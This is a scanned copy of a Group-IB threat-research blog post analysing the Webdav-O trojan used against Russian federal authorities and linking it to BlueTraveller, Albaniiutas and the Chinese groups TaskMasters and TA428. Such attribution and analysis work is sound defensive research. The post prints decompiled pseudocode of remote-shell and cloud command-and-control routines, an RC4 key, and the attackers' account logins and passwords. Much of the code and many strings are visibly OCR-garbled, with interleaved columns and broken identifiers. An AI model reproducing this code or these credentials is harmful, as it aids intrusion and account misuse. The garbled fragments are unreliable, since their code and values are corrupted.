8/8/2021

The Art of Cyberwarfare

The Art of Cyberwarfare

“ blog.group-ib.com/task

03.08.2021

Chinese APTs attack Russia

Anastasia Tikhonova

Head of APT Research at Group-IB
Dmitry Kupin

Senior Malware Analyst at Group-I1B

In mid-May 2021, experts from SOLAR JSOC and the National Computer Incident Response & Coordination Center (NCIRCC)
released a joint report on a series of targeted attacks detected in 2020. According to the report, the attackers targeted Russian federal
executive authorities.

While analyzing the report, Anastasia Tikhonova (Head of APT Research at Group-IB) and Dmitry Kupin (Senior Malware
Analyst) noticed that they had already come across similar tools in earlier attacks.

Chinese APTs are one of the most numerous and aggressive hacker communities. Several dozen groups conduct attacks in countries
all over the world, and Russia is no exception. Hackers mostly target state agencies, industrial facilities, military contractors, and
research institutes. The main objective is espionage: attackers gain access to confidential data and attempt to hide their presence for
as long as possible. There have been cases when attackers successfully persisted in the victim's network for several years.

Unfortunately, the SOLAR JSOC and NCIRCC report did not provide indicators of compromise, so the experts had to rely on
descriptions of the functionality and screenshots of the malicious code. As a result, Group-IB's researchers came up with some
interesting conclusions about which Chinese groups could be behind the attacks against Russian federal executive authorities in
2020, what tools they used, and how their malware has evolved since.

Key conclusions

4

The research describes Webdav-O malware detected in attacks against Russian federal executive authorities in 2020.

Vv

Group-IB experts detected two versions of the Webdav-O Trojan for x86 and x64 systems.

vV

When comparing parts of the code, the specialists proved that the Webdav-O x64 Trojan was used in attacks against Russian federal executive authorities. The malware has existed since at least 2018.

4

Group-IB specialists established that Webdav-O has a set of commands similar to a popular Trojan called BlueTraveller (aka RemShell), which was developed in China and has been linked to the hacker

group called TaskMasters.
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vV

Before that, Sentinel Labs released a report about malware called Mail-
O, which was also identified in attacks against Russian federal executive
authorities. Mail-O was deemed to be linked to the Chinese hacker
group TA428.

4

Group TA428 is known to use a Trojan called Albaniiutas in their
attacks. Group-IB's analysis showed that Albaniiutas is an updated
version of BlueTraveller.

4

Group-IB experts believe that either both Chinese hacker groups
(TA428 and TaskMasters) attacked Russian federal executive
authorities in 2020 or that there is one united Chinese hacker group
made up of different units.

TA428 is a Chinese state-sponsored hacker group that has been
operating since 2013. The attackers target a number of government
agencies in East Asia that control governmental information
technology, domestic and foreign policy, and economic development.

TaskMasters (aka BlueTraveller) is a state-sponsored Chinese
hacker group that allegedly has been active since at least 2010. The
group attacks companies based in several countries, but many of their
targets are located in Russia and CIS. The hackers target solid industrial
and energy enterprises, government agencies, and transport companies.
Starting point

As the experts put it: "The report dwells on the analysis of a
series of targeted attacks". Based on this information, we
assumed that several hacker groups may be behind the attacks.

The attackers used malware that interacted with management
server via the cloud service called Yandex.Disk. The malware was
dubbed Webdav-O.

Attackers also used malicious software that accessed the cloud
service Mail.ru. The malware was dubbed Mail-O.

In early June 2021, analysts from the American cybersecurity company

Sentinel Labs released a report about Mail-O. The experts wrote that Mail-O is a version of the relatively well-known malware called SManager, which is used by the Chinese hacker group TA428.
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Group-IB specialists wanted to make sure that Mail-O is loader, while Smanager and Tmanger are Remote Access Trojans (RAT). However, a part of the code overlaps in the exported functions "Entery"
and "ServiceMain" of Mail-O, SManager and Tmanger, which brings us back to TA428. Moreover, hackers from TA428 have already been found to be involved in espionage against Russia, especially
Russian state facilities.

To prove the hypothesis that TA428 was behind the attacks against Russian federal executive authorities in 2020, we decided to analyze a sample of Webdav-O. Group-IB Threat Intelligence &
Attribution has detected similar malicious behavior before and can now explain why we link it to a specific group. Below we provide an analysis of Webdav-O samples and highlight features that overlap
with the points mentioned in the SOLAR JSOC and NCIRCC report.

Piipdk I [qi 1 zhio ma]
Verbatim translation: Ride a mule while looking for a horse.

Definition: Use the tools you have while looking for something better.
Analysis of Webdav-O sample

Name 1.dll

SHA1 c9e03855f738e360d24018e2d203142c7ae6c2ec

Compilation timestamp 2018-07-12 03:08:01

First Submission 2019-11-07 10:34:11
DIl Name y_dil.dll
Export function ServiceMain

File "1.d11" is an x86 dynamic link library (DLL) that functions as a service in the system.

The analyzed file provides remote access to the command line shell (cmd.exe) and executes various commands originating from C2 on the compromised host.

The legitimate cloud service called Yandex.Disk (webdav.yandex.ru:443) is used as network infrastructure, namely C&C. Network interaction with the cloud is implemented via the Webdav protocol. The
authentication method is Basic.

The strings and configuration data are encrypted with the RC4 algorithm using the following key: { 8A 4F 01 47 34 C9 75 F8 2B C8 C1 Eg D2 F3 A5 8B }. The key size is 16 bytes. The analyzed filed
can work with 1-7 accounts (in this case only 2 are used, but we will come back to this later).
Features of the sample
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') Deletes the file /test3.txt

@ Sends the file /test2.txt
ith the line "Just A Test!"

——————"" 3

Group-IB, 2021

The exported ServiceMain function uses a random delay before the main code is executed.

01
GetLocalTime (& H
if .wSecond <= @x31u )
= wsecond + 183
else
= wWsecond - 583
do
GetlocalTime (& |H
while { wsecond != |H

Yandex.Disk cloud accounts are checked for availability using the query "/?userinfo" (GET).

02

1
WCHAR *pwszObjectiiame; f/

WCHAR ®lps:zHeaders; Jf
BOOL bResults; /F
DRORD dwBuf ferLength; /f

»
har w73
= &
memset | ; 8, sizeof|
3 de( 1]
(hCenmect, @ @, HTTR ] RE )
iF
return
printfd . [ 4} ;
Asc o _Wide (BT
[ o B B BT | o
f » 8, 8, 8, 8, @ 8) || f { a)
etur
» Da20000013u, @, & . B L H
IH
et LH

The file "/test3.txt" is uploaded from "Yandex.Disk" (GET) and checked for the "Just A Test!" line. In case of success, the system checks for batch files in the "/test" directory of "Yandex.Disk"
(PROFIND).

03
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A command file is defined for downloading from the Yandex.Disk cloud (GET). The response from the server is processed. The name of the file with commands is between the tags:

<d:href>[name of the command file]</d:href>
04

In the command file, the contents are encrypted using the RC4 algorithm. After downloading the command file, it is deleted from Yandex.Disk (DELETE).

05

The file "/test2.txt" is uploaded to Yandex.Disk (PUT). The file "/test2.txt" contains the line "Just A Test!". The mechanism is presumably used to check the functioning of a malicious program.

06

The file "/test2/[0-91{1,4}[0-9]{1,4}.bin" is uploaded to "Yandex.Disk" (PUT). The file contains the command results. Data is encrypted using the RC4 algorithm.

07
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= WinHttphpenfequest{hConnect, L"PROPFIND™,
if (! ]
return @;

sprintf{i y Thgcept:

WinHttpaddReques ders (v, » OxXFFFFFFFF, @oABioipid);
if ( IwinHetpSendRequest(vS, @, @, @, 8, 8, 8) || IWinHetpReced
return @;
do
{
memg et (Buffer, B, sizeof{auf i
nHttpReadtatalvs, . Gwdipbu, Edwti 'H
memcpy (Bu1s[vd - 1], b
- 0
}
while { ;
memset (Bdhrefs; @, @x32CBu);
L - Hj
for { = stratr(d s edihrefs"); i = strstr( s CidihrefrT) )

= Ascii to Wide(& Vi

rinDepth: 1hvrniuthorization

= Rifstrlen( cdihrefz")];

= st
if (! ]
breaky
- " H
if [ * » 5@ )
break;
i - 2+ 13

memcpy (Bdhrefs + 268 *

» “efdiheefty;

¢ B, B, B, SxBOaodau);

: Baszic ¥s®,

velespaniy

“dHisdemd ib3H6 I IVKTTF v ayd 3N4"™) ;

*(

» 8D

6/34



8/8/2021 The Art of Cyberwarfare

i =1 || [1] == w7[1] &8 { o 2] [2] == 72133 )

DewnloadFile from_vaDisk GET{.22, B39, , 133
Deletef S le0rDirfrom valDisk DELETE( ¥;
spriatf [ “mmdeE Ns”, )i
= rand _5999( | ;
= rand_9999(};
sprintf(wis, “/test2/Saad%pad. bin®, t 3 i H
15 o= gte] tH

RCA(Buf for, ]

M
UploadFile to YaDEsk PUT( 5 ):

retern 17

Description of the commands

Command Description

-upload Uploads the file to Yandex.Disk cloud storage. The file name is specified in the command. The file is saved in the cloud under the following name: "[0-9]{1,4}[0-9]{1,4}.bin". Response
format: "##U## %s %s".

-download Downloads the file from Yandex.Disk cloud storage. The file name is specified in the command. The downloaded file is deleted from Yandex.Disk. Response format: "##d## %s".

-quit Ends a session (exits the command execution flow).

-setsleep Sets the waiting interval (in minutes) between command requests. Response format: "##s## %d".

[other Runs the command in the command line shell (cmd.exe).

command]

Comparison with the sample presented in the SOLAR JSOC and NCIRCC report

When analyzing the code uploaded to VirusTotal, we found many overlapping points with the Trojan described in the SOLAR JSOC and NCIRCC report. Some of the common features can be seen in the
screenshot with the malware code, which shows the receipt of the command files list in the test folder:
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g }-.ir"ttp-t':hr-*tcue:t{hlntlrntt. LOBROBEEND®, oo, aldd, OLd4, Gidd, SxB0addGy); i;- -E- :I.:_:1||;‘:p::eﬂ'-iqu-E:t{hEDﬂnECt. L"PROPEIND™, file o 11 e, B, 8, 8, SxSogedtu);
if ( Bve ) 1ws .
return 0i6d; riturn 8;

V18 = T sprintf(8.16, “Accept: "/"WrinDepth: 1yrnduthorization: Basic %27, "dHBcmibIMEIIVKTTFxYNopd3NA™) ;
sprincf(£.15, alcceptDepthliu, cauth_token); II’{ E:;:Et . ! | 7 m Aseli_to Mide(Rv16);

P z T WinHttpiddRequestieaders(vs, v7, @xXFFFFFFFF, @abddoada) ;
A izati ¢ DAgEl X
i = mscii_to_unicode(By18); #f Marcherdeation - : if { lwirHttpSendRequest(v5, @, @, @, @, 8, @) || !WinHttpRecelveRespanse(vs, @) }
. viB); ,
WinHttpadaRequestHeadurs (s, V8, BUFFFFFFFF, OxAGMOO000]; return 8;
iF ( DwinHrtplendiequest (vi, Sd6d, @, aisd, o, &, 64} || IwinHrepleceiveBespomselvi, di6d) ) ?ﬁ
aiga:
d;“"‘"'" 164; memset(Buffer, B, slzeof(Buffer));
winHttpReadData(vs, Buffer, Gndodu, Bdwhusberof8yteshead);

memput{Buffer, 9, slzeof(Buffer))s VS = dutiumber(TEyte "' L R
WinMttpReadData(vs, Buffer, Exddiw, dwhusherOfEyteshead); Muc:yi!.:.-[ = 1], Buffer, dwiusmberOf8ytesfead);

v m il fEyr@iRe .:[i];_ N S

el 1 Auffar e e e ] e 71 T - }
I:-J'.'f[..h. + v4, Buffer, detusberdfEytesRead[@]); while { v& };
} * memset(Bdhrefs, @, @x32C8u);
— "al = @;
“u-su:r}u.& Naats, 8, @AXSUBY; for ( i = strstr(dstr, “cdihrefs"); ij i w strstr(vil, “«dshrefs”) )
=files_count = B . .
- P 14 . . @ = Bifstrlen(“cd:href>")];

':nr' { pos = strste(EStr, abDHref); pos; pos = strstre(vid, abHref) )}/ <dihref: A1 = Strstrivi®, “<fd:href");

tag_len w -1i64; if  1vil )

uu_ H break;

e = "a

vhile ( aDHref[tar len] ); if ( "a1 > 50 )

12 w Epos[tag_len];: __I_"E“:F_ . iz
13 LEF ff cidd:hraf R ,
s stratr(vil, abHref_g); fif < Tt memcpy (Bdhrefs + 288 * w12, wie, vil - via);

Comparison of the Webdav-0 sample from the report (on the left) to the VirusTotal sample (on the right)

Comparison of Webdav-O samples

Webdav-0O sample from the report

Basic authentication and OAuth

List of commands (5):
-upload

-download

-setsleep

-quit

[other command cmd.exe]

-sleepuntil

Command response format:
##u## %s %s (-upload)
##d## %s (-download)

##s## %d (-setsleep)
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##l## %s (-sleepuntil)

File objects in Yandex.Disk storage:
testa.txt, test3.txt

/test

/test2

/test2/%04d%04d.bin

testg.txt
tests.txt

test7.txt

Generates an RC4 session key (contained in the file test7.txt in encrypted form). It is used to encrypt commands and their results.*

There are no hardcoded accounts in the program body since it is possible to use the authentication method using the OAuth token.*

Webdav-O x86

Basic authentication

List of commands (4)
-upload

-download

-setsleep

-quit

[other command cmd.exe]

Command response format:
##u## %s %s (-upload)

##d## %s (-download)
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##s## %d (-setsleep)

File objects in Yandex.Disk cloud storage:
testa.txt, test3.txt

/test

/test2

/test2/%04d%04d.bin

The RC4 key is static and hardcoded into the program body. It is used to encrypt commands and their results.

Accounts are static and hardcoded into the program body. They are used for Basic authentication.
* Impossible to verify since there are no indicators (specifying Webdav-O file) in the report.

As you can see from our comparison of the two samples, Webdav-O from the SOLAR JSOC and NCIRCC report looks like a newer, partially improved version of the Trojan that we detected on VirusTotal.
Comparison of Webdav-O with the code of the BlueTraveller (RemShell) sample

TREERE [Jian feng zhuan duo]

Verbatim translation: If you feel the wind — change direction.

Meaning: Change your tactics to avoid difficulties.

Based on a large database of analyzed malicious samples accumulated when searching and responding to cyber threats, Group-IB's specialists linked the detected Webdav-O sample to the
BlueTraveller Trojan.

To prove our hypothesis, below we present a comparison of the Webdav-O x86 sample and the sample of BlueTraveller (RemShell) (SHA1: 6857BB2C3AE5F9C2393D9F88816BE7A10CB5573F).

Name netui4.dll

SHA1 6857bb2c3ae5f9¢c2393d9f88816be7a10cb557 3f

Compilation timestamp 2017-03-03 09:13:08

First Submission 2017-07-07 18:33:12
DIl Name client_dIl.dll
Export function ServiceMain
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lem = gtrlen™-uplaad™); 5 en = :.-':-'.---;nf' uplead™)z
= “=upload™; 3 = "oupload®
e datag H
if [ , « €4 ) if | = & )
{ while { = )
UPLOAD_CHMD [
if (1 p- e
I "uplosd str mm ® {atE -:_.
BE (uplond s len €= 1 l"'l' ] Ces
|l upload [1] == recv_data_[1] B (upload _str_len <= 2 || uplosd str[2] == recv_data_[2])) ) . F"’“'—"-““D oD

i
Eo%e RUBCFD (PO

WPLOAD TN
iy 1
B (rupload sir le =

Il ¥ » 184 trf1] l= recy_data_[1] |] d_ste_lem » 2 BE trf2] 1= recv_data_[2]}) )

Fragments of the pseudocode for processing (receiving) the "-upload" command in thesamples of Webdav-O (on the left) and BlueTraveller (RemShell) (on the right)

en = strlen(”-download=); fownload_str_len = Qstrlemd(™sdownlosd=);
= “sdownlosd™ ) - load str = “ogdown load™)
i Tosd_str_len < 4 ) if { d Toad_str I :4]
DOMNLOAD_CHMD: DOWILOAD_CHMD
if [ ldewnl if (
I “domlosd_str = "recy . i I = St mm
&8 (cdownl i a4t fn w1 BB [dow ] 2tr len <= 1
|| dowmlosd_ser[d] =e recv_dats_1[1) B (downlesd_str_len <= 2 || downlesd ste[l] == v_dnta_1[2])) ) |1 dewmlosd_str[1] == re vta_1[1] B2 (downlond_str lem 4= F || dewnlos [2] == recv_data 1[2]}) )

Fragments of the pseudocode for processing (receiving) the "-download" command in the samples of Webdav-O (on the left) and BlueTraveller (RemShell) (on the right)

= gitrlend ™ -gult™)} it _4tF_len = litrlendd™-exi®™);
= "aguie™; exit_str = “-exit
i -.cd.]' i!’.;--.- 1 1:1}‘
{ i
QLT _CHMD: EXTT_CHAD:
L if (!
|1 *guit_str =e II mesit ste mm =
B (guit_str_len €= 1 || quit_str[1] == rece_data_zf1] &4 {quit_st 4 2 || geit_str2] == re ta_z[2]3) } L NG o 1 ] awd [4] == recw_data_if1) 86 (exit e <= 3 || exit_strZ] = recv_dets 3[21)) )

Fragments of pseudocode for processing (receiving) the "-quit" command in the sample of Webdav-O (on the left) and "-exit" command in the sample of BlueTraveller (RemShell) (on the right)

--..nLensth = 12; Pipeattri -'----;Lrnsth = 12;
r r o= @ ipesttributes. lpSecurityDescriptor = @)
.« lpsecurityDescriptor = 9; ttributes.bInheritHandle = 1;
! .. bInheritHandle = 1 i1 b RPipeAttribut i
5 B T 11 11"( ICreateP‘:.p:n:H. ile, B ect, BPipeattrik 2 1
1f { IEr eatePlpefSru dPipe, BhWritePipe, BFipeattributes, 8) ) ,ﬂu,.n @xFFFFFFFA;
return B; 345 Al el = Es,
startupInfo.ch = 68; Getst ..||:-Tn+-..-.{l plnfo, dwdl)s
.e-t'itn-tus: nfoA({&StartupInfe Processl mmzsﬂ# = Pipeattri h: .;“'I:EIS'I“"“"
Srart . = aPimes FrocessLlnt raad = Pipefltributes.plnhar :
starty : hStdE""’:“" hriterlpe; LOWORD( St artupinfo.hstdError) = 8;
Star -1T* hf.td-Dq.n_:put = hidritePipe; startupInfo.hStdiutput = 357;
Star nfo.wShowhindow = @; memset(v43, 8, 512);
StartupInfo.dwFlags = 257; lstreatiafvad, “cmd.exe fc ");
streat_s(CommandLine, 6x480u, “cmd.exe /c ") '1","'"," Hwas, recv_datad: R _
streat_s(CommandLine, Gocd®eu, ata); i rit“:’_nm;F' eces H{&. v43, @, 8, 1, @, 8, 8, EStartuplnfo.dwi, BCcesandLine) )
Cr eatel-’”ce:s\[a, s -x..L-.., a, B i, @, &, 8, &StartupInfo, BProcessInformation); CloseMand] H: sttributes.bInheritHandle);
L1 l:‘l"'-.‘lﬂdll:‘('l itePi Pipedttri lpS-ecur:l.'l::,rDe;ch.ptnr =85
jusberOfBytecRead 12 = B
14 = 83 da
de if ( ImeadFile(Startupinfo.ch, Bva3[vi2 + 512), @x49@u, IPipesttributes.lpSecurityDescriptor, 2) )
break;
if { !'ReadFile(hReadPipe, BBuffer[vl4], Oxd488u, BNumberOfBytesRead, 8) ) v22 %= Plpedttributes.lpSecurityBescriptor;
break; if { vii » BulFBFF )
¢14 4= HumberOfBytesRead; break;
if [ wia » BxIFBFF ) b
break;
}
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Fragments of pseudocode for executing a command in the command line shell (cmd.exe) in the samples of Webdav-O (on the left) and BlueTraveller (RemShell) (on the right)

Original name of DLL. Webdav-O
(DIRECTORY_ENTRY_EXPORT)
DIl name: y_dll.dll

Original name of DLL BlueTraveller (RemShell)
(DIRECTORY_ENTRY_ EXPORT)
DIl name: client_dll.dll

Based on the above comparison, we can draw the following conclusions:

1

Similar DLL name (DIRECTORY_ENTRY_EXPORT - original DLL name)
2

Same command names

3

Same principle of command processing

4

Feature allowing to execute commands in the command line shell (cmd.exe)

#

T F

| am your father..

Accounts, passwords, and attribution
BEMS S, HAWNA LD [Tt yao zhi ma 1 ri jit jian rén xin]
Verbatim translation: Having overcome a long distance, you will know a horse's endurance, and after a long time you will know what lies in a person's heart.

Definition: Time reveals a person's true nature.
Let's go back to the analyzed sample of Webdav-O x86. When we decrypted the malware string, we found the following "login:password" for the attacker's accounts used on Yandex.Disk.
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The data discovered:

e aleshaadams:7ujm!QAZ2wsx

* tstrobos:&UJM1qazaws

If the account login is known, it is possible to recover the email address as follows:

e tstrobos@yandex.ru

e aleshaadams@yandex.ru

https://blog.group-ib.com/task 13/34
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Yandex Passport Yandex Passport

Change password

Change password
Artaan 1 Pruf accicnl hag hean lamporaily esiiead s Yandax siapacla i may favs hasn hackad Tein may haee bappenad hacadea

you kase enbered your passwand on @ Fzudulen: wobsre of bocause yoor compuint s imected with 3 wus. #Aocean to yoor accourt has been Sempomanily restricied as Yandex suspscts & may hawe been hacked. This may have happened because

y A A ¥ hawe enlered your paszword on a foudulemt websice or because your computer is infecled wilk 2 vins.
Firsl, check yowr cormpuier o inses (bee's bow' Then, mgeest a co-fiemetion code be s2nl vis S6S o Fee and oreale a new

pazawne Y Acconn sl e unhiocked aba thang nn your gaassnnl First, check your compuber for vinises (har's ho). Than, request a confimaltion code be sent via 545 for fee and create & naw

passwerd Yaur sccount will b atlneked st changng your passennd
Alza, please cocck your registaton informat an fin the personal mfrmation amd emal addnesses sections) as heckers may hawe

vuctessuly cangs il Ao peases check vou registmlion eferesbon on ke gizonal informaton snd il atdiesses 22chons| 85 hackam may bawe

sucieaalily changsd i

Entzi the characters

e P 1 :
br -"'1'_..'.:'-4-”F A, Erer the characters L
Py ot [y e oy
hdetey gy’ =

Shaw & diferent image

Show a ditferent anage
Mesile mumbes I+B'ﬁ 1EG Ge0e saga I I A L

Muhie rumibesr ]*EE- 155 4%** M‘fgl Sard coda

L |'.|!'|:'t" LS LIS i

T S apm—
Enler a passwerc B Hoew o zroale a secun: password noonge use hs numbe

Enier a passwiond o ] Huw Lo cr=sie o secwe pas=word

Resamter to corfimm

Reerter to confimm

Save

| Se
Attempt to recover the password for aleshaadams@yandex.ru
Attempt to recover the password for tstrobos@yandex.ru
The screenshots show that both accounts are linked to cellphone numbers in the same region (+86), which is the country code for China.
Kon Crpama Permon  lopog  Oneparop Koa Crpana Permon Topog  Oneparop
+8 BOCTOUHER AIMA W CNeUHanbHEIE CNyHO5 +5 BOCTOMHEA A3HA W CNSUHANEHEIE CNyHEb!
| RS FMTan m +E86 KHTaA
m +86 FMTan Fixed - 386 KuTan Fixed
86 155 FMTan China Unicom o 86 156 Kuran China Unicom
86 155 KMTaH Mabile UNCCL RO 150 KuTan Mobile UNCCI

Analysis of password generation

In 2019, Elmar Nabigaev (Deputy Director of Expert Security Center Positive Technologies) delivered a report entitled "The TaskMasters APT" (aka BlueTraveller) and gave examples of passwords
discovered when investigating the malware campaign:
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The images above show that the passwords to the Webdav-O account were generated using a similar technique as TaskMasters. The only things that changed were the registry and the key row
combination.

Blurring the boundaries

Considering all the comparisons made and the information discovered about the accounts, we believe that the Chinese hacker group TaskMasters is most likely behind the attacks involving an

improved version of the Webdav-O Trojan. The case of TA428, however, is still open to debate. Could both of them be behind the attack against Russian federal executive authorities in 2020? Could there
be someone else involved? Or was it the same group?

We will continue our investigation and seek more information for analysis. Let us take a look at the report about TA428 and their new tools, in particular the Trojan called Albaniiutas, which was released
by NTT Security Corporation in 2020.

vjsc.dll
= DLL
drop
& execute persist
CSrss.exe & delete W
Xwreg.exe
> EXE -
csonute o> EXE
utas.xlsx PR drop
EXE execute
FaAL TP Script.exe
. - > EXE
drop & .. drop
open Bl execute side load
L
vjsc.dll
drop DLL load
fileless-modulée
& execute
Executing Albaniiutas files, NTT report
The aim of our investigation is to study these two objects. Our reasoning will be presented below.
First and foremost, we discovered some common points in the utility used to launch DLL:
BlueTraveller Albaniiutas
1.exe vjsc.dll
6303CCE6747703E81A5A52DEC11A3BA7DB26EA4B 2FE6AF7CE84CB96AE640BB6ED25A7BA67591A11E
Utility for registering and running DLL as a service in the system and for removing this service. DLL responsible for registering and running DLL as a service in the system.
Launched in the command line shell (cmd.exe). Receives the following command line arguments: Uploaded by the file "Scrpt.exe" (SHA1:
C:\Users\IEUser\Desktop\1.exe Usage: install -i DIIPath or install -u ServiceName BC708ACDF6B8B60577268A0788F1E375CB3FFEB4) — legitimate signed file "vjc.exe".

Original DLL name: "ServiceAdd.dll".
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BlueTraveller Albaniiutas
"-i [DlIPath]" — registering and running DLL as a service. "-u [ServiceName]" — deleting the specified
service.

Code parts of both utilities show the similarities in more detail. As can be seen, both samples use XOR encryption, which even displays identical debugging information.

memset(&025[12], @, @xFBu);
' = xor BBh(va5S);

IstrcatA(Stringl, );
= lstrlenA{FileName);
sub_ 481845 (HEEY LOCAL MACHIME, S5t Els
}
else

printf(“"CreaTeServVice(Parameters) error!lin®);
¥
}

else

printf({“Addsvch@stService() error!\n®});
¥
h

else
{
printf({“OpenSCHanager() error!in™);
i
H

e . registration. Trylevel = -2;

’.‘

memset({v49, @, sizeof(v43));
11 = xor BB8h(v4c);
lstreatA{Stringl, vi1);

12 = lst’lenéi ultiByteStr);
sub_10001920(v32, 2, MultiByteStr, v12);
1= w3l
}
else
{
OutputDebugStringA(“CreaTeSerVice(Parameters) error!in™);
}
}
else

sub_leee2cBe( “Addsvch@stService() error!\n®);

¥
}

else

{

sub_1eee2CBe( "Open5CManager() error!\n");

exc.registration.TryLevel = -2;

WBY 3

Fragments of code encrypted with XOR and debugging lines in BlueTraveller (on the left) and Albaniiutas (on the right)

{ {
char *result; // esax
unsigned int i; // ecx

result = strlen(Str};
if { result )
1
for ( 1 =8; 1 ¢ result; ++1i )

str[i] ~= @x88u;
return Str;

}

return result;

}

char * cdecl xor_88Bh{char *5tr) const char *__thiscall xor_B8Bh{const char

unsigned int w2; // edx
unsigned int w4; // eax

2 = strlen(this);

if ( vz )
return @;
4 = a;
if ( v2 »= 8x28 )
{

do

*&this[v4] = _mm_xor_sil28(*&this[v4], xmmword_18817948);
*[this[vd + 16] = mm xor_sil28(*&thi

i +m 323

}

while { va € v2 - (v2 & @x1F) );
}
for ( ; vd < vi; +vd )

this[v4] = @xBBu;
return this;

“this)

s[vd + 16], xmeword 18817948 ;
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Fragments of code of the XOR encrypting function in BlueTraveller (on the left) and Albaniiutas (on the right)

Moreover, there are common points at the stage of establishing persistence in the system. The screenshots below show that the same DLL name randomization occurs. The same description of the service
under which this DLL will work is also displayed.

if ( sub_sealBe(vis, vil, @, 7, Stringl, vE & w15+ 1) ) sub_1eaziea| Reghetvalueba() erroriin );
printf{"Regietvaluetx(} errarlin®); else
} i
else sub_ 20081180 36);
= ]
sub_4@8121C(v28, 258); =8
----- | W, du) memsety . B, slzeof( I H
memiet| s B, sizecf( ¥h; far = @3 5 o#e] )
for | = @) < dp #+1 ) {
21[1] = byte_soreda[rand(} X 28]; = fi
wiprintfa(vls, -%s\\Es.d11%, 2133 if (=4
printf [ “Hase XA, bresk;
if = B ) [1] = byte_1@a17a1C[rand() % 28]z
wepintfag }
3, siprintfaf{vid, "Xs\\%s.dl1", , 3
“Configures Internet Authentication Service (LA5). If this service is stopped, remote metwork sccess that regui® sub 10880TES] “Mame s 0", | )
“reE L authentication will be wiavailable. If this service is dizsabled, amy services that explicitly depend Ot partDebugStringAfvia) g
en it will fail o start.™); if e B}
else wiprintfa(
weprintfaq o Xs7, RsAetsilReplicat[16008 * dword ALEBCR + 2009 * 1
Istrlena{String2); i 1 £ duy tication Service (1858}, If thii fervice i3 stopped, remote network Bocedi that regui”
= OpETBTEN new] ¢ 1%z “res user suthentication will be wnavailsble. If this service is disabled, sny services that explicitly depend ™
& n it will fall to start.®);
rlse
wiprintfA{v28, “%3~, BsRetoilReplicat[16000 = dword 10023150 & 2800 = «20]);
i lvia )
{
& lstrlendf ¥i
= gub_LBGAZEF3( + 1)
LstrepyA(va?, String2);
1

Fragments of code with DLL name randomization in BlueTraveller (on the left) and Albaniiutas (on the right)

Let's continue our comparative analysis and take a look at a sample of BlueTraveller (SHA1:6857BB2C3AE5F9C2393D9F88816BE7A10CB5573F) and a fileless RAT belonging to the Albaniiutas family.

BlueTraveller Albaniiutas

netui4.dll -

6857BB2C3AESF9C2393D9F88816BE7A10CB5573F 08645D079ABE05B88201DBOFF1CO9B1EC035035CA

DLL is a RAT. Fileless DLL is a payload in the form of a RAT.

Lauched via service (exported function ServiceMain).  Uploaded by the file "XpEXPrint.dll / [a-z{4}.dll" (SHA1: AES57D779AAC235E979FAEG617599377A099B148AB). It is contained in resources in
an encrypted form.

Original DLL name: "client_dlIl.dlI". Original DLL name: "ClientX.dll".

We also analyzed code parts that look very similar. For example, part of the pseudocode for executing commands in the command line shell (cmd.exe) is shown below.
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esunlength = 123
oL HusberOfBytesRead = 85
i i bInheritHandle = 1;
if { !CreatePlpe(fnFile, & rct, BPlpeattributes, ]
return BxFEFEEERA;
tart fo.dwk = 68;
GetStartupInfas(Bstartuplnfo.duk) ;
ssInf ition. dwProcessid = At .bInheritHandle;
Inf -hThread = FipeAttributes . bInherdtHandle;
LOWORD( Startupinfo. hStdError) = @;
tart fo.hStdOutput = 257;
» B, 512);
p emd gxmE S T);

“r IH

return SxFEFFEFFS;
L losetandle( t stes bInheritHandle);
f tes Hasber0fByteshead = 8;

22 = @
da
if { IReadFile(Startuy fo.ch, &5¢ gi[ + 513], e=dddu, &
break;
22 #= Plpeats stes . NusberOfByteshead;
if { w22 > GulFBFF )
break;
¥

reateProcessA(@, Stringl, @, @, 1, @, @, @, BStart Irfo. dwdl

s.nLlength = 12;
=5, lpSecurityDescriptor = @
5. bInheritHondle = 1;

return BxFFFFFFFA;

5 I th = B8;
setStartupInfoalBstartupInfo);
startupInfo.hStdError = te i

JhStdOutput = hrite i

fo.wihowhWindow = @;

fo.dwFlags = 257;
memset| indLine, @, sipeof( indLine]};
- = = 1758321846;
LR 17 = xmmword 1B81EAFS;
strlen(Source);
RCA(RSource[1]);
streat_s( ndline, Ox2ebu, Iree);
stroat_s( indline, @ulddu, w4}z

CloseHandle{hhritePipe);

HumberOfByteshead = @;
= @3

do

if { 'ReadFile{hReadPipe, # v, Sucdddu, Enu
break;

if [ MreateProcessa(l, dLine, 8, @, 1, 8, @, 8, B5ta
es . HusberOfBytesRead, @) ) return @xFFFFFFFS;

if ( ICrestePipe(8hReadPipe, BhWritePipe, BPipeAttributes, @) )

tupInfo, &

rsRead, @) )

1)

Fragments of the code in BlueTraveller (on the left) and Albaniiutas (on the right)

Next, we analyzed the code parts of data processing received from the C&C server:

1 = strstr{lpThreadParameter, L"\b"};

if ( vl )
return -1;

vi o= vl + 13

vd = strtok(lpThreadParameter, L"\b"};

if ( Ivd )
return -2;

stritok(vz, L"\b");

if ( w3 )
return -3;

recv_data = strtok{®e, L"\b");

if [ !recv_data )
recv_data = " "3

if ( !'strncmp(v3, 5tr2, 4u) )

1
dword_1881283C
if ( !'strncmp(v

return -5;
strncpy(byte 18812898, w4, 4u);

1;
, byte leei2ssa@, 4u) )

B

}

OutputDebugStringa("commandstr™};
vl = strstr{lpThreadParameter + 669, "“b");
if ( vl )

*{1lpThreadParameter + 165) = @;
return -1;

v3 = vl + 13

hiritePipe = strtok_s{lpThreadParameter + 669, "\b", &Context);

if { 'hWritePipe )
return -2;

strtok_s(v3, "\b", &Context);

if ( w3 )
return -3;

vd = strtok_s{@, "\b", &Context);

if { strncmp{v3, lpThreadParameter + 62189, 4u) )

1
*({1pThreadParameter + 165) = @;
return -4;

¥
vS = hWritePipe;
w1l = hiritePipe;

*({1lpThreadParameter + 165) = 1;
if ( !strnemp(vll, lpThreadParameter + 664, 4u) )
return -5;

Fragments of the code in BlueTraveller (on the left) and Albaniiutas (on the right)
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The parts of code above show that the code in BlueTraveller is less sophisticated, but in both cases the separator "\b" is used three times (the strtok function). Below is an example of the data that
Albaniiutas malware receives for each command:

@ @ ©) @

12 34 56 78 Ob 31 N 31 31 Ob

2d 75 70 6c of 61 64 20 - - - - Ob

@ )

Format of the data received when executing commands (retrieved from the NTT report)

1

If the command is executed multiple times, the command will not be executed unless a value other than the previous one is specified.
2

Separator

3

If the value does not match the value in (3), the command will not be executed.

4

Command identifier and command parameters separated by spaces.

Let's also compare the code fragments for checking and executing the commands received from the C&C server:

https://blog.group-ib.com/task 20/34



8/8/2021 The Art of Cyberwarfare

n o= Letrlent("-doamboad”); if {( *command_str == "ixe-" &R command_str[4] == "t" )
